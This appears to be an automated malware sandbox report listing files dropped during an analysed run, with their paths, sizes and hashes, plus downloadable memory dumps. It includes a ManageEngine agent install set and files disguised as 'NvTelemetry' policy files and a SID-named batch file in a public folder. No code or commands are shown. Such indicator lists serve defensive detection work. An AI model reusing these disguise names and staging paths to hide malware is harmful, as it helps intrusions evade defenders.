Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA.crt
Size 1KB
SHA256 917ad692a2e5b350e0a782a1f46c988f74237c973a8185359f0ad9838a9bd95b
MD5 144c0c9373b3c2a72b1d2c00f2b163a7
SHA1 17e54e37a072442e4e79c98624ae350a005f4249
SHA512 6fbd72005dcef9df2229c4a3341ae3a11d089c4fce7486b9c8d5a41fcbeb7063be0fc1bdc9c8ef4c723466df2796318e974e70f770830ffd89d3f4fe1fac85c0
TLSH
T12A21E9D81D5025A1A487D3FCE74ED0396C1257519DF332B634D73901C6D6D1419594C3
MD5 SHA1 SHA512 TLSH

Submit Download

Agentinstalllog.txt

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt
Size 1KB
SHA256 3525d3117353d0e1bc2df9536c72561f002e34caf0d0ceb4faa3215f469b31a1
MD5 8c45a60b5272c40955df2c7ef5223348
SHA1 abef7655b5bcc5adfc7bc14b5c81d9070e4c39b7
SHA512 56124737b80b1b40b779ed1bc8dadf24a03d084f67907cf54bc731796278af78466a594e1b026b701eb81416275f10036334ee4c4249c1cfbf09acb437b10207
TLSH
T1AB31D4681AF50945F5B796079DF3C4525F33BDC19838DB0C238583290ABBD0899697AB
MD5 SHA1 SHA512 TLSH

Submit Download

DCAgentServerInfo.json

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\DCAgentServerInfo.json
Size 4KB
SHA256 ba1498b6512aaaec8ef27d3efd117963f84c5ff60664a5a47fa4f5a83fe924d5
MD5 1cd75042aa9431151a6d9a6b2b3e232d
SHA1 00c440172567ffe770dccd6fe4e9c8c95ba0ad92
SHA512 d998e58e8ba7e754d12122898aaa40763d4fe4bd2c06a4bab4da862d25382f0bb0ed8df40e1082751a498b258c443c2af8342ed395d93767cbb065f27b489594
SSDEEP 96:vm0mgGvyLewAdxOAJUOR2rN3sHy4pWfbQoU02JkdpZq6p5gV7lYP0Lomq:vFjYjldxtJVHyxU02OVDa76Gc
TLSH
T148A14AD4AA023E762AD3C74CD62A6037849903200AD7119A59FC3F80F8CE60547BB5A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SetUP.VBS

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS
Size 824B
SHA256 6053c83865de1fe0f527608a3cff4d1689bfebc4047d81187fb78e8dbbbbb74c
MD5 97b3de6696541abe6384970ae8c9901c
SHA1 01db6b9685d45b2dc410f01001ff928c12e34895
SHA512 6a26d774d5a141cf09bc5b0cb589a1452cc655c6fe5839e3c297089228f8c6fa50c99ed8ff4d5e296ef0fbb72857401d00fc515deecc0d928f10fe595f4d8527
TLSH
T1E5018901B43DC7328AB0239150022DDDDEA3431A240852E6B99D8CFECF9C4389A35211
MD5 SHA1 SHA512 TLSH

Submit Download

UEMSAgent.mst

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst
Size 20KB
SHA256 8dd93f43089a682cbac39c0a1f364057dcb7d08e9b1480c088f15a5dd56d8be4
MD5 0273976d2ecf588a5514b0f5069968e5
SHA1 b906399f51bffff670d20c5f5d66800a78b1e638
SHA512 da06fe4cf771c3a4840ced5b95a421cbec98023766d0d382b44798fefdf04f794119d3c17eb2165f35df1745bf3ffad600af10b7f89cce24f788a57f6e67a809
SSDEEP 24:J+U2p5gxBuP2xjl/Zd8pJPSgHiHJoxIzxhK:IU2p4gI7dyJaz
TLSH
T109927202FBA1EA16D0490A358E96C3DC0B36FC81DD42836B35E6776FBD721C54D62AA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NvTelemetryCgIFfSwnwLaxPrMZ.pol

Path C:\Users\Public\NvTelemetryCgIFfSwnwLaxPrMZ.pol
Size 32KB
SHA256 fb1c10d2d9e89ae8263faaed9b211bd1585896fc8eb4bc21622942a8a22cee09
MD5 c260608456e573a9d4de3c935648086e
SHA1 eabc6ee5869e011ae01014fdd8a89be3d237dd5b
SHA512 24c5edcf96081705028704ab7529225dd911630be668ca7593cbc7cab107b72a62c000f7cf8adabeca04474e81c474446fe471a3ee9006b377dfcb3bb49f72a2
SSDEEP 768:Nf+Wus4O4cTO2z2BuaVDNgijrrwn2899zud:1GF29aNgyw2szud
TLSH
T1B4E24BC966B804CAE6F782B4C2F9D6A6B970BA53172343EF0161C5740D63FD0DA35B29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NvTelemetryCgIFfSwnwLaxPrMZ.pol.json

Path C:\Users\Public\NvTelemetryCgIFfSwnwLaxPrMZ.pol.json
Size 32KB
SHA256 539d76b8a7cacb593a96bff5d7c7cedf33be761f05cb4a32476f74c0e14e929d
MD5 3b4182534afae8ff492c5ccffcea5f04
SHA1 4d981d310a6b7e425707b6e44542c350b15f6574
SHA512 6d4461d4e15eb722d11e7bbbd794fb0a31eba0db52f90afef432614e1e3d7d14136de04bc3b61df839f123cce19126189817b6e1eb060e82748830bc58537eef
SSDEEP 384:EZl6TPCzG2PsplJUpkIhBuk9fxmsfmokSkm6XFH6G7baT9LWMsTSos2QTTTYK:EWMJKlInxfmU+Vk9i3SL2Q3TYK
TLSH
T1FAE2F18A8FA1910C61F0AB44DAF028FB39674EB47AF212726FB6F3476041D1774C6658
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NvTelemetryYGqLZCwGlJXT.pol

Path C:\Users\Public\NvTelemetryYGqLZCwGlJXT.pol
Size 17KB
SHA256 7bf332e095a5c40c509da219a4e110c44c4bd831ba36cd9cba0df062abd989e0
MD5 4f18b5e35fb2fd78c902c6c03727f889
SHA1 3e6d2a8b580e5b57d01c118852b073003a0e5ba2
SHA512 7a38ae598717309f09dc603b0ccbf0c71a4754fa7988fead5b03fe41948129eccea53e00e1d30c462c08c3c80fc0777bc16569a7421122dd6b51ed6ec8f3243a
SSDEEP 384:JsuoCCpQIY0HKs0vkmxbYPL4OUSYGVm1k:JsbCCpQIYCKsxmxtEtQa
TLSH
T168826D8B876920AAFAE7C935C2A18677FC30FAD077564AFF4119C1911E81FE05B3D209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NvTelemetryYGqLZCwGlJXT.pol.json

Path C:\Users\Public\NvTelemetryYGqLZCwGlJXT.pol.json
Size 17KB
SHA256 abedfba18809f9a3cb1fd13efa1382e84fe98fed61b4c14d82a4ab359216b6c1
MD5 d6a7b695a544818bdd3469161cd3cdb9
SHA1 e8246006084f3fe1d16df6aac3e0123cd4590be8
SHA512 4474f3194a7adf048b8a7c66ecc5984fe1c0dbc41d8abb14a39fd58422f8698e7df07289a902e928b659732ec14ad0456cc1d9ff9aabdde6863ccaffee4fe1f5
SSDEEP 384:6a1ZoSUUtRNueBVT7RVKdfpaCBreD1blTUJX1Vq4W:6a1mYBVT76dfpJBaDhJUJFK
TLSH
T18E82D07C3A9BB7044865319F0DE01605317A8B2025AB55BD0F26C50F72E8FBFE06D9E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

S-1-5-21-1404337215-1550464601-2805570857.BaT

Path C:\Users\Public\S-1-5-21-1404337215-1550464601-2805570857\S-1-5-21-1404337215-1550464601-2805570857.BaT
Size 1KB
SHA256 84fbfe58ebf93c1cd6a1ee48e50755d7c65f0fb26e08002d082d7f011e30a895
MD5 02d3a004fdd23e18e31d2961914896f4
SHA1 e72b3c25ae0567a470146b67072b57c570987595
SHA512 95fd6e9f199fd4d54b957a138f7314b52a8ff05adf42d180a056080c25df2f85824bc260d9f11f3d600504c622e6eb539f12c8197aee1ae8072204d2c3898dc3
TLSH
T17A31108FC4034D1C031482DB234A8C5FCB41F08BEE90B29074CC1F85238AAED1895EED
MD5 SHA1 SHA512 TLSH

Submit Download

MSI7CDD.tmp

Path C:\Windows\Installer\MSI7CDD.tmp
Size 429KB
SHA256 1260992c0d6f755f41f02710a5ca7ee9300edb669357a96c5f8a7a9a77f6b071
MD5 95acce8d4e4fcdc950343f218775eb01
SHA1 70bf7c56c4154a2ddd354c2a5115376f1a527dea
SHA512 b26fcd43ec48c884813f44f3c4c91f16887603d7c4408f471445fa880e9b3b154cf77b7036c8993493334b6dd58a76dcea659de4623b28756894ef905f5ca39e
SSDEEP 12288:ZpqSpvhUEaxBOJBesypR2wd/8VyUp7NTR:ZJhUZxBOWsc1IFNt
TLSH
T13794BF1135C9C031E1AE5170ADB5AF76AE7DAD200F2858CBD3C84D3B1E645C2AB76F1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentlibxml2.dll

Path C:\Windows\SysWOW64\dcagentlibxml2.dll
Size 2.0MB
SHA256 6667e8871a07bdc398488565e2afbe72cf080c8c8f0016d572e2f01522b14ed6
MD5 a75d9d2f7f2713fa7c2decda1ea8f7fc
SHA1 bb203e3ffaf88a624b2ccc8c882e1b0917c485a4
SHA512 cd7fad6cb3fd3cecbb8c20c804c39758b455a81f48e01b1fa7d9d98b5df2f911fdcb524e0d534cf427c57d1be2c360d2e1d7c0b0a94f6fa048496bf8a341883f
SSDEEP 49152:R1fOkYtuKEoTHy9uizLBAUZLY6tPT8FGaXQr:HfOk4rwLBAUZLvr
TLSH
T12BA5BF04B980C532F4EB01F1CAFE5BFB982DCD26672554E767E578D889301E162BEB09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rundll32.exe

Path C:\Windows\SysWOW64\rundll32.exe
Size 51KB
SHA256 ce6bb7eddc83762c708d4a41709ae00371dbdc09b2a380f28fa60b1edf917473
MD5 2e068ce2770fde8d1af4cb114b98df1f
SHA1 b6f9c2775babb025b22f915c3047aa627d07c312
SHA512 998d695eb56375e63df7db16740b89deb2cf630ccbead8bcf84a921ec6f4a4f9aef2755b703f7190f332b2008ebcc949363bcf8f392d7d07246c255b5073ed35
SSDEEP 1536:6G9yoVEpHP29I3fbcJboSUge5N+CnC/maz9Rh:8pv2mbcJboce58wvOR
TLSH
T137336C236A0A49B3DFE231780A9D7232526DD862075541F7A61057EAFD243E2EE743CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3736-46-0x0000000002F50000-0x0000000002FBC000-memory.dmp

Download

memory/3736-33-0x0000000002F50000-0x0000000002FBC000-memory.dmp

Download

memory/3736-34-0x0000000002F50000-0x0000000002FBC000-memory.dmp

Download

memory/3736-36-0x0000000002F50000-0x0000000002FBC000-memory.dmp

Download

memory/3736-45-0x0000000002F50000-0x0000000002FBC000-memory.dmp

Download

memory/4888-10-0x0000000000010000-0x0000000000017000-memory.dmp

Download